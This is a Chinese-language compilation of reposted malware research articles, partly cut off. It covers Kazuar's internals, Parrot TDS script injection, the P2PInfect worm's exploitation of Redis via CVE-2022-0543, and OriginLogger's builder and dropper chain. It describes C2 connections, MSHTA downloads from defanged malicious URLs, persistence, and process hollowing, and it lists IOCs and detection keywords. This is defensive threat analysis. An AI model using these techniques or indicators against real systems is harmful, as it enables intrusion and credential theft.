初始化執行程序集檢查在執行Kazuar時，它使用Assembly.Location屬性來接收自己的文件路徑並檢查其名稱。只有當返回的值為空字符串時，Kazuar才會繼續執行，如圖所示。從字節數組加載文件時，Assembly.Location屬性返回一個空字符串。

這種檢查似乎是反分析機制的一種簡單形式，以確保惡意軟件的執行是由預期的加載程序完成的，而不是通過其他方式或軟件完成的。

Kazuar執行後，如果它的文件名匹配一個特定的硬編碼哈希名稱(使用FNV算法)。這種行為可能是為了調試目的，讓開發者避免在每次調試惡意軟件時使用加載程序。

2.png

檢查Kazuar變體的配置名稱

創建操作根目錄Kazuar創建一個新目錄來存儲它的配置和日誌數據，它使用%localappdata%作為主存儲路徑，並從硬編碼路徑列表中確定其根目錄。

Kazuar根據設備全局唯一標識符(GUID)選擇要使用的根目錄、文件夾名、文件名和文件擴展名，如下圖所示。雖然這些名稱乍一看似乎是隨機生成的，但GUID的使用意味著它們將在同一台受攻擊的設備上每次執行惡意軟件時保持相同的名稱。

3.png

負責返迴路徑數組索引的方法

與以前的變體一樣，Kazuar使用結構化目錄方案來保存其日誌文件和其他數據，如單個配置文件和鍵盤記錄器數據。目錄命名是偽隨機的，是根據哈希選擇的。示例包括在前面的變體中看到的FNV哈希算法的自定義實現，以及對GUID值的其他操作。

值得一提的是，在代碼中有一個當前未引用的選項，用於創建一個名為wordlist的文件。這個文件可以為研究人員提供一個尚未實現的功能的線索，也許是使用目錄、文件名或密碼暴力破解的單詞列表。

配置文件惡意軟件創建一個單獨的主配置文件，其中包含以下數據：

C2服務器；

注入模式；

其他運行配置數據；

下圖顯示了下面這個文件的一個片段，你可以在附錄中找到Kazuar配置文件的加密方法。

4.png

配置文件的片段

互斥鎖名稱生成Kazuar正在使用互斥鎖來檢查其註入到另一個進程中。 Kazuar通過異或處理當前進程ID和硬編碼值0x4ac882d887106b7d來生成它的互斥鎖名，然後用設備的GUID 異或處理它，如下圖所示。這意味著幾個Kazuars可以在同一設備上串聯操作，只是不注入到同一過程中。

5.png

互斥對象名稱生成

體系結構設置Kazuar的注入模式新版本的Kazuar使用了它在配置中描述的“注入模式”，如表所示，默認模式為inject：

6.1.png

6.2.png

Kazuar注入模式和描述

在zombify模式下，Kazuar被注入到用戶的默認瀏覽器中，並有一個回退機制，在默認瀏覽器的查詢失敗時將自己注入到svchost.exe中。下圖顯示了Kazuar的開發者通常使用zombify一詞來處理進程注入：

7.png

Kazuars在zombify模式下的代碼注入片段

多線程模型Kazuar以多線程模式運行，而Kazuar的每個主要功能都作為自己的線程運行。換句話說，一個線程處理來自其C2的接收命令或任務，而求解線程處理這些命令的執行。這個多線程模型使Kazuar的開發者能夠建立一個異步和模塊化的流控制。任務解析流如下：

8.png

Kazuar的任務解決機製圖

任務解析器組件：Kazuar的PuppeteerKazuar接收新任務，解決它們並將輸出寫入結果文件。求解線程正在處理從C2服務器或另一個Kazuar節點接收到的新任務。然後對任務內容進行加密，並將其寫入磁盤的任務文件中。

每個任務文件實現一個混合加密方案：

1.使用RNGCryptoServiceProvider生成兩個包含隨機數的字節數組，它們分別是16和32字節。 1.1使用第一個數組作為AES (Rijndael)初始化向量(IV)。使用第二個數組作為AES密鑰。

2.在將結果加密並寫入磁盤之前，基於內存中的result內容生成HMACMD5哈希，使用上面第一個項目中描述的數組作為密鑰。

3.用硬編碼的RSA密鑰加密HMACMD5哈希、AES密鑰和IV，並將加密後的BLOB寫到文件的開頭。通過使用快速的AES算法來加密較大的對象，例如結果的內容，並使用較慢的RSA加密來隱藏AES密鑰和IV, Kazuar提高了其性能。這還禁用了僅從磁盤恢復受攻擊文件的選項，因為對稱密鑰是使用非對稱密鑰加密的。

4.使用AES加密來加密result文件的內容。

如下圖所示，任務完成後，生成的結果文件將保存到磁盤上：9.png

Kazuar加密和寫入結果文件方法片段

除了上述加密數據外，Kazuar還將以下字段寫入結果文件的開頭：

1.四個零字節(研究人員認為這是一種分隔符)；生成的結果標識符；

2.加密GUID的長度，使用與初始化部分相同的異或算法(這裡的加密消息是“System info at [datetime] (-07)”)；

3.加密的GUID本身；

4.RSA加密HMACMD5哈希，IV以及AES密鑰；

5.AES加密後的任務內容。

下圖顯示了來自磁盤的加密結果文件內容：

10.png

來自磁盤的加密結果文件內容

字符串加密Kazuar的代碼包含大量與功能和調試相關的字符串。當以純文本形式顯示時，它們揭示了Kazuar的內部工作原理和功能。為了避免研究人員創建基於字符串的指示YARA和檢索規則，Kazuar的字符串是加密的，它在運行時解密每個字符串。

Kazuar使用愷撒密碼（Caesar cipher）的變體作為字符串加密/解密算法。在這個算法中，Kazuar實現了一個簡單地交換每個成員的密鑰和值的字典。最近的Kazuar變體只實現了一個字典，而新的變體實現了多個字典，每個字典包含80對字符，如下圖所示。

11.png

包含用於字符串解密的字典類

下圖顯示了在給定字符串上迭代的循環，並檢查給定字符的序數值是否在相關類的字典鍵中。如果是，Kazuar交換鍵和值，並將其附加到精心製作的字符串。否則，它將保持原來的字符。

除了字符串混淆之外，開發者還為代碼中的類和方法提供了無意義的名稱，以使分析更加困難。

12.png

創建反混淆字符串的循環

Kazuar解碼的其中一個字符串返回值“Invalid pong response”，如下圖所示。似乎有一個惡意軟件的編碼員忘了把俄語中的C換成英語中的S。

13.png

' response '字符串中的錯別字

核心功能為了避免宕機，Kazuar使用被劫持的合法網站作為其C2基礎設施，這是Pensive Ursa的典型做法。此外，正如在註入模式一節中提到的，Kazuar還支持通過命名管道進行通信。它使用這兩種機制來接收遠程命令或任務(如代碼中所述)。

支持的C2命令Kazuar支持從C2接收的45種不同任務，如下表所示。相比之下，Kazuar在2017年分析的第一個變體僅支持26個C2命令。

研究人員將Kazuar的命令分為以下幾類：

主機數據收集；

擴展取證數據收集；

文件處理；

任意命令執行；

與Kazuar的配置交互；

註冊表查詢和操作；

腳本執行(VBS, PowerShell, JavaScript)；

自定義網絡請求；

竊取憑證和敏感信息；

14.1.png

14.2.png

14.3.png

14.5.png

14.6.png

Kazuar支持的C2命令

雲、源代碼管理和消息應用程序憑證盜竊Kazuar能夠通過接收來自C2的竊取或無人參與命令，嘗試從受攻擊計算機中的許多工件中竊取憑證。這些工件包括多個眾所周知的雲應用程序。

Kazuar可以嘗試竊取包含這些應用程序憑證的敏感文件。 Kazuar針對的工件包括Git SCM（一種在開發人員中流行的源代碼控制系統），以及Signal（一種用於私人即時消息的加密消息服務）。

15.png

Kazuar可能試圖竊取的Git SCM憑證的代碼片段

全面的系統評測當Kazuar最初生成一個唯一的解析線程時，它自動執行的第一個任務是對目標系統進行廣泛的收集和分析，Kazuar的開發者將其命名為first_systeminfo_do。 Kazuar將收集有關受攻擊計算機的大量信息，並將其發送給C2。這包括有關操作系統、硬件和網絡的信息。

Kazuar將這些數據保存到info.txt文件中，並將執行日誌保存到logs.txt文件中。如任務解析部分所述，我們可以在內存中看到結果。在本文的樣本中，它是一個存檔，如下圖所示。

16.png

內存中first_systeminfo_do壓縮的結果

除了前面提到的兩個文本文件之外，作為該任務的一部分，惡意軟件還會截取用戶的屏幕截圖。下圖顯示了在加密並發送到C2之前將所有這些文件壓縮到一個文件中的過程：

17.png

加密前first_systeminfo_do存檔提取內存的結果

創建自動任務(auto)Kazuar能夠設置以指定間隔運行的自動任務，以從受攻擊的計算機收集信息。下圖顯示了Kazuar配置中記錄的該功能的一個示例。

這些自動化任務包括：

收集系統信息；

屏幕截圖；

竊取憑證；

獲取取證數據；

獲取自動運行數據；

正在從指定的文件夾中獲取文件；

獲取LNK文件列表；

使用MAPI竊取電子郵件；

18.png

Kazuar的Autos函數配置

監控活動窗口(Peeps)Kazuar有能力讓攻擊者在配置中設置他們所謂的“peep rules”。雖然Kazuar沒有自帶這些規則，但根據惡意軟件的代碼，似乎這個功能使攻擊者能夠監控指定進程的窗口。這使得攻擊者可以跟踪受攻擊設備上感興趣的用戶活動。

與CC的通信HTTP在與C2服務器建立通信之前，除了上述反分析檢查外，Kazuar還檢查配置數據發送時間間隔，該檢查包括確定是否應該在周末發送數據。

在首次通信時，Kazuar以XML格式發送收集到的數據，並期望獲得帶有新任務的XML結構化響應。

Kazuar使用硬編碼值169739e7-2112-9514-6a61-d300c0fef02d轉換為字符串，並將Base64編碼為cookie。

19.jpeg

HTTP POST命令，其正文中包含發送到C2的XML

Kazuar為XML生成密鑰名，Base64在將內容髮送到C2之前對其進行加密。 XML的內容包括：

結果文件的加密內容；

結果標識符；

偽隨機的4字節數，可能是另一種類型的標識符；

一個基於設備GUID偽隨機生成的值數組；

硬編碼GUID連接字符串169739e7-2112-9514-6a61-d300c0fef02d；

設備的唯一GUID。

使用命名管道進行通信除了與C2進行直接HTTP通信外，Kazuar還具有代理功能，可以向受攻擊網絡中的其他Kazuar代理接收和發送命令，它通過命名管道進行代理通信，根據設備的GUID生成它們的名稱。

Kazuar使用這些管道在不同的Kazuar實例之間建立點對點通信，將每個實例配置為服務器或客戶端。命名管道通信支持表3所示的遠程請求。

20.png

使用命名管道的Kazuar請求和響應

反分析檢查Kazuar使用了基於一系列詳細檢查的多種反分析技術，以確保它不被分析。開發者對Kazuar進行了編程，使其要么在安全的情況下繼續運行，要么在調試或分析時保持空閒狀態並停止所有C2通信。研究人員可以將這些檢查分為三大類

HireHackking

安全研究人員查看Parrot 流量引導系統(TDS) 使用的10,000 多個腳本後，發現逐漸優化的演變過程使惡意代碼對安全機制更加隱蔽。

Parrot TDS 於2022 年4 月被網絡安全公司發現，自2019 年以來一直活躍。主要針對易受攻擊的WordPress 和Joomla 網站，使用JavaScript 代碼將用戶重定向到惡意位置。

研究人員分析，Parrot 已經感染了至少16,500 個網站，是一次大規模的惡意操作。

Parrot 背後的運營商將流量出售給威脅組織，威脅組織將其用於訪問受感染網站的用戶，以進行分析並將相關目標重定向到惡意目的地，例如網絡釣魚頁面或傳播惡意軟件的位置。

不斷演變的惡意軟件Palo Alto Networks 的Unit 42 團隊最近發布的一份報告顯示，Parrot TDS 仍然非常活躍，並且JavaScript 注入更難以檢測和刪除。

Unit 42 分析了2019 年8 月至2023 年10 月期間收集的10,000 個Parrot 登陸腳本。研究人員發現了四個不同的版本，顯示了混淆技術使用的進展。

Parrot 的登陸腳本有助於用戶分析，並強制受害者的瀏覽器從攻擊者的服務器獲取有效負載腳本，從而執行重定向。

11.png

Parrot 攻擊鏈

據研究人員稱，Parrot TDS 活動中使用的腳本是通過代碼中的特定關鍵字來識別的，包括“ ndsj ”、“ ndsw ”和“ ndsx ”。

Unit 42 注意到，所檢查樣本中大多數感染已轉移到最新版本的登陸腳本中，佔總數的75%，其中18% 使用以前的版本，其餘運行較舊的腳本。

22.png

所檢查樣本中的登陸腳本版本份額

與舊版本相比，第四版登陸腳本引入了以下增強功能：

複雜代碼結構和編碼機制的增強混淆；

不同的數組索引和處理會破壞模式識別和基於簽名的檢測；

字符串和數字處理的變化，包括它們的格式、編碼和處理；

儘管增加了額外的混淆層和代碼結構的變化，V4登陸腳本的核心功能仍然與之前的版本保持一致；

它的主要目的仍然是分析受害者的環境，並在滿足條件時啟動有效負載腳本的檢索。

33.png

登陸腳本版本3

關於負責執行用戶重定向的有效負載腳本，Unit 42 發現了九個變體。除了一些人執行的輕微混淆和目標操作系統檢查之外，這些大多是相同的。

在70% 的觀察到的案例中，威脅行為者使用有效負載腳本版本2，該腳本不具有任何混淆功能。

44.png

有效負載腳本版本2

版本4-5 中添加了混淆層，版本6 至9 中變得更加複雜。但是，這些版本很少出現在受感染的站點中。

55.png

10,000 個站點樣本中看到的有效負載腳本版本

總體而言，Parrot TDS 仍然是一種活躍且不斷演變的威脅，並且正變得更加難以捉摸。

建議用戶在其服務器上搜索流氓php 文件，掃描ndsj、ndsw 和ndsx 關鍵字，使用防火牆阻止Webshell 流量，並使用URL 過濾工具阻止已知的惡意URL 和IP。

HireHackking

2023年7月11日，Unit 42研究人員發現了一種新的對等（P2P）蠕蟲，研究人員將其稱之為P2PInfect。對等網絡，即對等計算機網絡，是一種在對等者（Peer）之間分配任務和工作負載的分佈式應用架構，是對等計算模型在應用層形成的一種組網或網絡形式。 “Peer”在英語裡有“對等者、夥伴、對端”的意義。因此，從字面上，P2P（Peer-to-peer）可以理解為對等計算或對等網絡。該蠕蟲使用Rust編寫，Rust是一種高度可擴展且對雲友好的編程語言，能夠跨平台攻擊，並針對Redis，這是一種在雲環境中大量使用的流行開源數據庫應用程序。

Redis實例可以在Linux和Windows操作系統上運行。 Unit 42的研究人員在過去兩週內發現了超過30.7萬個公開通信的獨特Redis系統，其中934個可能容易受到這種P2P蠕蟲變體的攻擊。雖然並非所有Redis實例都會受到攻擊，但蠕蟲仍然會以這些系統為目標並試圖進行攻擊。

P2PInfect蠕蟲通過利用Lua沙盒逃逸漏洞CVE-2022-0543攻擊易受攻擊的Redis實例。雖然該漏洞於2022年被披露，但目前尚不完全清楚其攻擊範圍和目標。然而，它的CVSS得分10.0。此外，P2PInfect利用Redis服務器在Linux和Windows操作系統上運行的優勢，比其他惡意軟件更具可擴展性。 Unit 42研究人員觀察到的P2P蠕蟲是攻擊者利用該漏洞進行嚴重攻擊的一個示例。

P2PInfect利用CVE-2022-0543進行初始訪問，然後釋放建立P2P通信的初始有效負載。一旦建立了P2P連接，蠕蟲就會刪除其他惡意二進製文件，如操作系統特定的腳本和掃描軟件。然後，受攻擊的實例加入P2P網絡，以向未來受攻擊的Redis實例提供對其他有效負載的訪問。

以這種方式利用CVE-2022-0543使P2PInfect蠕蟲在雲容器環境中更有效地運行和傳播。 Unit 42的研究人員就是在HoneyCloud環境中發現蠕蟲的，因為它攻擊了HoneyCloud環境中的Redis容器實例，HoneyCloud是一組蜜罐，用來識別和研究跨公共雲環境的新型基於雲的攻擊。研究人員認為，這次P2P攻擊活動是利用這種強大的P2P命令和控制(C2)網絡的潛在更強大的攻擊的第一階段。 P2PInfect的惡意工具包中存在“挖礦”功能。然而，研究人員沒有發現任何確切的證據表明曾經發生過挖礦。此外，P2P網絡似乎擁有多種C2功能，如“自動更新”，這將允許P2P網絡的控制器將新的有效負載推送到網絡中，從而改變和增強任何惡意操作的性能。

Unit 42於2023年7月11日使用Palo Alto Networks的HoneyCloud環境發現了第一個已知的P2PInfect實例，這是一組蜜罐。

P2PInfect蠕蟲使用P2P網絡來支持和促進惡意二進製文件的傳輸。我們之所以選擇這個名稱，是因為術語P2PInfect出現在洩露的符號中，反映了惡意軟件的結構，如下圖所示。

1.png

Windows版本、名稱和Redis模塊的建構

所有收集到的P2P蠕蟲樣本都是用Rust編寫的，Rust是一種高度可擴展且對雲友好的編程語言。這使得蠕蟲能夠針對Linux和Windows操作系統上的Redis實例進行跨平台攻擊，請注意，Redis不正式支持Windows操作系統。

該蠕蟲使用CVE-2022-0543攻擊Redis。針對該特定漏洞的首次攻擊於2022年3月被發現，導致受攻擊的Redis實例可能與Muhstik殭屍網絡有關。然而，P2PInfect蠕蟲似乎與另一個惡意網絡有關，目前還不知道與Muhstik殭屍網絡是否有關。

通過利用Lua漏洞進行初始攻擊後，執行初始有效負載，該初始有效負載建立與更大的C2殭屍網絡的P2P通信，該殭屍網絡充當P2P網絡，用於向未來攻擊的Redis實例傳播其他有效負載。一旦建立了P2P連接，蠕蟲就會傳播額外的有效負載，例如掃描儀。然後，新攻擊的實例加入P2P網絡的行列，為未來受攻擊的Redis實例提供掃描有效負載。

P2PInfect利用CVE-2022-0543在雲容器環境中實施攻擊。容器的功能減少了，例如，取消了“cron”服務。許多利用Redis的蠕蟲使用cron服務實現遠程代碼執行（RCE）。 P2PInfect結合了CVE-2022-0543的漏洞，旨在覆蓋盡可能多的易受攻擊場景，包括雲容器環境。

由於P2PInfect蠕蟲是新發現的，我們在這裡重點進行樣本分析及其支持的P2P架構。

利用CVE-2022-0543P2PInfect目前利用Lua沙盒逃逸漏洞CVE-2022-0543進行初始訪問。此漏洞已在Muhstik和Redigo等以前的攻擊中被使用，這兩種攻擊都導致受攻擊的Redis實例參與針對其他系統的拒絕服務（DoS）、Flooding攻擊和暴力攻擊。

這種利用向量遵循與之前所看到的類似的模式。然而，P2PInfect的漏洞利用後操作與以前使用該漏洞的操作有很大不同。需要注意的是，此漏洞不是Redis應用程序漏洞，而是Lua沙盒漏洞。

雖然這個活動確實針對易受攻擊的Redis實例並執行類似蠕蟲的操作，但與其他已知的以Redis為目標並部署蠕蟲的組織沒有已知的聯繫，例如Automated Libra(又名PurpleUrchin)， Adept Libra(又名TeamTNT)， Thief Libra(又名WatchDog)， Money Libra(又名Kinsing)， Aged Libra(又名Rocke)或Returned Libra(又名8220)。

P2PInfect如何利用CVE-2022-0543攻擊易受攻擊的Redis實例P2PInfect蠕蟲的初始攻擊媒介就是通過CVE-2022-0543利用Redis，這在已知的以Redis實例為目標的其他以加密劫持為任務的蠕蟲中並不常見，例如Adept Libra（又名TeamTnT）、Thief Libra（別名WatchDog）、Money Libra（又稱Kinsing）。

CVE-2022-0543是Lua庫中的一個漏洞，與Debian Linux包管理打包和傳播Redis的方式有關。因此，它只影響使用Debian的Redis用戶。由於專注於操作系統並利用Redis的一個子組件進行攻擊，P2PInfect的攻擊因此很複雜。下圖是捕獲的CVE-2022-0543漏洞的一個示例。

2.png

Debian操作系統上的P2PInfect漏洞利用示例

如上圖所示，可以看到漏洞是如何被攻擊者利用的。通過/dev/tcp使用網絡請求，如第四行所示，攻擊者通過端口60100連接到一個C2 IP地址，寫入IP cnc。端口60100是P2PInfect用於維護C2通信的P2P通信端口之一。第四行中的初始有效負載將GET請求設置到目錄/linux，該目錄是維護P2PInfect蠕蟲核心功能的主要滴管。其他二進製文件分佈在P2P網絡中。

網絡通信行為P2PInfect使用其P2P網絡向新攻擊的系統或云傳播後續惡意軟件。當系統首次受到攻擊時，它將建立到P2P網絡的連接，並下載要使用的自定義協議的樣本。如下圖所示，命令GET/linux之後是核心P2PInfect功能的映像下載。

3.png

顯示P2PInfect下載的網絡通信協議

Linux和Windows操作系統P2PInfect示例以相同的方式進行通信。 linux、miner、winminer和windows以明文形式從P2P網絡下載。

4.png

從P2P網絡中提取的惡意軟件樣本的列表

一旦核心P2PInfect樣本完成執行，有效負載將開始掃描其他主機以進行攻擊。掃描的重點是暴露的Redis主機。然而，研究人員還發現，受攻擊的Redis實例也會在端口22 SSH上執行掃描嘗試。由於P2PInfect沒有已知的攻擊SSH的企圖，目前還不清楚為什麼會發生這種掃描操作，但端口22在被其他已知蠕蟲攻擊後被掃描並不罕見。

節點通信主滴管使用TLS 1.3與當前已配置節點列表上的任何其他偵聽P2P成員進行通信。當受攻擊節點向P2P網絡發送具有所有已知節點的json請求時，C2基礎設施被更新。 C2基礎設施的更新將自動下載。節點更新的示例如下圖所示。

5.png

P2P節點更新

帶有x.x.x.x的值是當前節點IP或新學習的節點。

掃描行為下圖展示了受攻擊主機掃描暴露SSH實例的網絡掃描過程。這些掃描操作發生在P2PInfect功能選擇的隨機網絡範圍內。

6.png

掃描SSH實例

下圖是對暴露的Redis實例的P2PInfect掃描操作。

7.png

掃描Redis實例

P2PInfect的其他觀察結果一些發送到被攻擊系統的初始有效負載p2p樣本包含UPX，而第二階段的惡意軟件樣本miner和winminer沒有包含UPX。

在第一個滴管運行後，它開始解密從命令行接收的配置，以及關於P2P網絡中其他節點的信息。我們發現P2P端口是可變的，這有利於攻擊者發起攻擊。

8.png

P2PInfect的可變端口示例

Unit 42研究人員發現的所有樣本都是用Rust編寫的，有些樣本內部有“洩露的符號”，這可以顯示惡意軟件開發者的項目結構。例如，windows示例主執行線程洩露了項目的名稱以及攻擊者的文件目錄使用情況。

9.png

從核心Windows P2PInfect樣本中提取的分析

研究人員還發現了一個PowerShell腳本，用於在受感染的主機和P2P網絡之間建立和維護通信。 PowerShell腳本利用encode命令來混淆通信啟動。

10.png

混淆PowerShell命令建立P2P網絡連接

PowerShell命令執行的第一個操作之一是配置本地系統防火牆，以阻止對受攻擊Redis應用程序的合法訪問（見下圖的第五行）。然後（從圖11中的第17行開始），腳本打開一個通信端口，供攻擊者訪問受攻擊實例。這是持久性攻擊的一種形式，允許攻擊者保持對受感染主機的訪問並保持其可操作性。

11.png

修改被攻擊Windows實例的網絡流量規則

從解碼的PowerShell中可以看出防火牆配置設置如下：

對等端口為60102，此端口是可變的，因為並非所有節點都使用相同的端口；

Redis端口6379只允許連接已知的C2 IP；

防火牆規則名為Microsoft Sync；

監控進程在Windows操作系統中運行時，初始P2PInfect負載的另一個有趣功能是一個名為Monitor的進程。 Monitor進程的作用是維護受攻擊主機上運行的P2PInfect進程的功能。 Monitor被轉儲到C:\Users\username\AppData\Local\Temp\cmd.exe，Monitor (cmd.exe)枚舉系統運行進程的示例如下所示：

12.png

P2PInfect監控器示例cmd.exe進程樹

啟動Monitor（cmd.exe）後，初始P2PInfect負載從P2P網絡下載其自身的新版本，並將它們以隨機名稱保存到相同原始文件夾中，然後釋放加密配置（.conf）。

13.png

隨機文件名的示例

執行新的P2PInfect下載版本，並啟動掃描操作以查找其他易受攻擊的Redis實例。初始P2PInfect滴管將嘗試刪除自己。

14.png

刪除核心P2PInfect有效負載

總結P2PInfect蠕蟲功能複雜設計先進，其中的關鍵是使用Rust語言，具備了靈活性功能，允許蠕蟲在多個操作系統中快速傳播。

設計和構建P2P網絡來執行惡意軟件的自動傳播，在雲目標或加密劫持領域並不常見。同時，研究人員認為它的目的是在多個平台上攻擊和支持盡可能多的Redis易受攻擊的實例。

研究人員在多個地理區域的HoneyCloud平台上捕獲了幾個樣本，認為P2P節點的數量正在增長。這是由於潛在目標的數量非常多，在過去兩週內，超過30.7萬個Redis實例公開通信，另外，蠕蟲能夠在不同地區危害研究人員的多個Redis蜜罐。目前，研究人員還沒有估計存在多少節點，也沒有估計與P2PInfect相關的惡意網絡的增長速度。

研究人員建議組織監控所有Redis應用程序，包括本地應用程序和雲環境中的應用程序，以確保它們在/tmp目錄中不包含隨機文件名。此外，DevOps人員應持續監控其Redis實例，以確保其維護合法操作和網絡訪問。所有Redis實例也應更新到其最新版本，或更新到redis/5:6.0.16-1+deb11u2, redis/5:5.0.14-1+deb10u2, redis/5:6.0.16-2 and redis/5:7.0~rc2-2。

HireHackking

2019 年3 月4 日，鍵盤記錄惡意軟件Agent Tesla被發現。最近，研究人員發現了OriginLogger，這是一個基於Agent Tesla的惡意軟件。

我將在本文介紹OriginLogger 鍵盤記錄器惡意軟件，看看它如何處理配置變量的字符串混淆，以及我在查看提取的配置時發現的內容。

Palo Alto Networks 客戶通過Cortex XDR 和具有云交付安全服務（包括WildFire 和高級威脅預防）的下一代防火牆獲得OriginLogger 及其前身惡意軟件Agent Tesla 的保護。

OriginLogger的發現過程在搜索過程中，我偶然發現了一個銷售“完全無法檢測”（FUD）工具的人在2018 年發布的YouTube 視頻。此人展示了帶有鏈接的OriginLogger 工具，該鏈接可以從一個已知的網站購買該工具，該網站會傳播惡意軟件、漏洞利用等。

1.png

OriginLogger的部分功能

2.png

OriginLogger的全部功能

此外，他們還展示了Web 面板和惡意軟件生成器。

3.png

OriginLogger Web 面板

4.png

OriginLogger 生成器

上圖顯示的生成器圖像對我來說特別有趣，因為它提供了一個默認字符串：facebook、twitter、gmail、instagram、movie、skype、porn、hack、whatsapp、discord，這可能是這個應用程序獨有的。果然，在VirusTotal 上的內容搜索顯示了2022 年5 月17 日上傳的一個匹配文件（SHA256：595a7ea981a3948c4f387a5a6af54a70a41dd604685c72cbd2a55880c2b702ed）。

5.png

VirusTotal 搜索字符串

由於缺少依賴項，下載並嘗試運行此文件會導致錯誤。但是，知道生成器的文件名OriginLogger.exe，允許我擴展搜索並找到一個包含運行OriginLogger所需的所有文件的Zip歸檔文件(SHA256: b22a0dd33d957f6da3f1cd9687b9b00d0ff2bdf02d28356c1462f3dbfb8708dd)。

6.png

Zip 壓縮文件中的捆綁文件

settings.ini 文件包含生成器將使用的配置，在下圖中我們可以看到SmartWords 下列出的先前搜索字符串。

7.png

OriginLogger Builder settings.ini 文件

文件profile.origin 包含客戶在購買OriginLogger 時註冊的嵌入式用戶名/密碼。

8.png

OriginLogger 生成器登錄屏幕

有趣的是，如果你逆向配置文件中的值，就會顯示明文密碼。

9.png

profile.origin 文件的內容

10.png

OriginLogger 生成器登錄屏幕，以明文形式顯示密碼

當用戶登錄時，生成器會嘗試向OriginLogger 服務器進行身份驗證以驗證訂閱服務。

此時，我有了兩個版本的構建器。第一個(b22a0d*)包含在Zip文件中，編譯於2020年9月6日。另一個包含SmartWords字符串(595a7e*)的版本是在2022年6月29日編譯的，大約在第一個版本的兩年之後。

更高版本通過TCP/3345 向IP 23.106.223[.]46 發出身份驗證請求。自2022 年3 月3 日起，此IP 已解析到域originpro[.]me。此域已解析為以下IP 地址：

11.png

第二個IP，204.16.247[.]26，由於解析了這些其他OriginLogger 相關域而脫穎而出：

12.png

這個嘗試連接到一個不同的IP地址進行身份驗證。

13.png

PCAP 顯示遠程IP 地址

與originpro[.]me 關聯的IP 地址不同，74.118.138[.]76 不直接解析為任何OriginLogger 域，而是解析為0xfd3[.]com。在此域上逆向顯示它包含mail.originlogger[.]com的DNS MX和TXT記錄。

從2022 年3 月7 日左右開始，相關域開始解析為IP 23.106.223[.]47，它在最後一個八位字節中比用於originpro[.]me 的IP（使用46）高一個值。

這兩個IP 地址共享了多個SSL 證書：

14.png

共享SSL 證書

以IP 23.106.223開頭的兩個服務器的RDP登錄屏幕。 X顯示有多個帳戶的Windows Server 2012 R2服務器。

15.png

RDP登錄界面為23.106.223[.]

在進一步搜索該域時，我發現了用戶0xfd3 的GitHub 配置文件，其中包含下圖中所示的兩個存儲庫。

16.png

用戶0xfd GitHub

滴管由於Agent Tesla 和OriginLogger 都是商業化的鍵盤記錄器，因此初始dropper在不同的活動中會有很大的差異，不應被視為兩者都是獨一無二的。我將以下內容作為攻擊釋放OriginLogger 的真實示例來展示，並表明它們可能非常複雜和模糊。

初始誘餌文檔是一個Microsoft Word文件(SHA256: ccc8d5aa5d1a682c20b0806948bf06d1b5d11961887df70c8902d2146c6d1481)。打開時，該文件顯示一張德國公民的護照照片以及一張信用卡。我不太確定這對普通用戶有多大的吸引力，但無論如何，你都會注意到圖像下方包含許多Excel 工作表，如下圖所示。

17.jpeg

誘餌文件

這些工作表中的每一個都包含在單獨的嵌入式Excel 工作簿中，並且完全相同：

18.png

在每個工作簿中都有一個單一的宏，它只是保存要在以下位置執行的命令：

19.png

運行後，它將通過MSHTA 下載並執行hxxp://www.asianexportglass[.]shop/p/25.html 上的文件內容。該網站的屏幕截圖如下圖所示。

20.png

網站看起來合法

該文件在文檔中間包含一個嵌入的混淆腳本作為註釋。

21.png

網站隱藏評論

取消轉換腳本會顯示下圖中所示的代碼，該代碼從BitBucket 片段下載下一個有效負載(hxxps://bitbucket[.]org/!api/2.0/snippets/12sds/pEEggp/8cb4e7aef7a46445b9885381da074c86ad0d01d6/files/snippet.txt)並使用名為calsaasdendersw 的計劃任務建立持久性，該任務每83 分鐘運行一次，並再次使用MSHTA 執行hxxp://www.coalminners[.]shop/p/25.html 中包含的腳本。

22.png

未轉換的腳本

BitBucket 網站上託管的代碼段包含進一步混淆的PowerShell 代碼和兩個編碼和壓縮的二進製文件。

這兩個文件中的第一個（SHA256: 23fcaad34d06f748452d04b003b78eb701c1ab9bf2dd5503cf75ac0387f4e4f8）是使用CSharp-RunPE 的C# 反射加載器。該工具用於挖空一個進程並在其中註入另一個可執行文件，在本例中，鍵盤記錄器有效負載將放置在aspnet_compiler.exe 進程中。

23.png

執行dotNet程序集中包含的方法的PowerShell命令

請注意調用Execute 方法的projFUD.PA 類。 Morphisec 在2021 年發布了一個名為“揭示Snip3 Crypter，一種高度規避的RAT 加載器”的博客，他們在其中分析了一個加密器即服務，並使用該工件對加密器的開發者進行指紋識別。

兩個文件中的第二個（SHA256：cddca3371378d545e5e4c032951db0e000e2dfc901b5a5e390679adc524e7d9c）是OriginLogger 有效負載。

OriginLogger 配置如前所述，此分析的初衷是自動化並從鍵盤記錄器中提取與配置相關的詳細信息。為了實現這一點，我首先查看瞭如何使用與配置相關的字符串。

我不會深入研究惡意軟件的任何實際功能，因為它是相當標準的，並且反映了對原有Agent Tesla 變體的分析。為了開始提取與配置相關的細節，我需要弄清楚用戶提供的數據是如何存儲在惡意軟件中的。結果很簡單，生成器將獲取動態字符串值並將它們連接成一個巨大的文本塊，然後將其編碼並存儲在一個字節數組中，以便在運行時進行解碼。一旦惡意軟件運行並命中需要字符串的特定函數，例如將屏幕截圖上傳到的HTTP 地址，它會將偏移量和字符串長度傳遞給函數，然後該函數將在塊中的該位置顯示出文本。

為了說明這一點，你可以在下面看到用於主要文本塊的解碼邏輯。

224.png

OriginLogger 明文塊解碼

每個字節通過字節數組中的字節索引進行異或運算，並再次通過值170 進行異或運算以顯示明文。

對於生成器生成的每個示例，此文本塊將根據配置的不同而有所不同，因此偏移量和定位將發生變化。查看下圖中顯示的原始文本很有幫助，但如果不將其連接起來觀察，就很難確定邊界在哪裡結束或開始。

25.png

明文數據塊

當需要分析惡意軟件時，它也沒有幫助，因為你無法辨別什麼時候或在哪裡使用了哪些內容。為了解決下一個問題，我需要了解OriginLogger如何處理拼接。

下面你可以看到負責分割字符串的函數，後面是包含偏移量和長度的各個方法的開頭。

26.png

OriginLogger 字符串函數

在本例中，如果惡意軟件在某個時間點調用了B() 方法，它會將2、2、27 傳遞給圖像頂部的混淆後的無名函數。第一個整數用於存儲解碼字符串的數組索引。然後將第二個整數(offset)和第三個整數(length)傳遞給GetString函數以獲取文本。對於這個特定條目，結果值（如下所示）在創建它上傳的HTML 頁面期間使用，以顯示被盜數據。

微信截图_20220919110744.png

了解字符串解析的工作原理後，我就可以自動提取這些字符串。首先，查看底層中間語言(IL) 彙編指令會有所幫助。

27.png

用於字符串函數的OriginLogger IL 指令

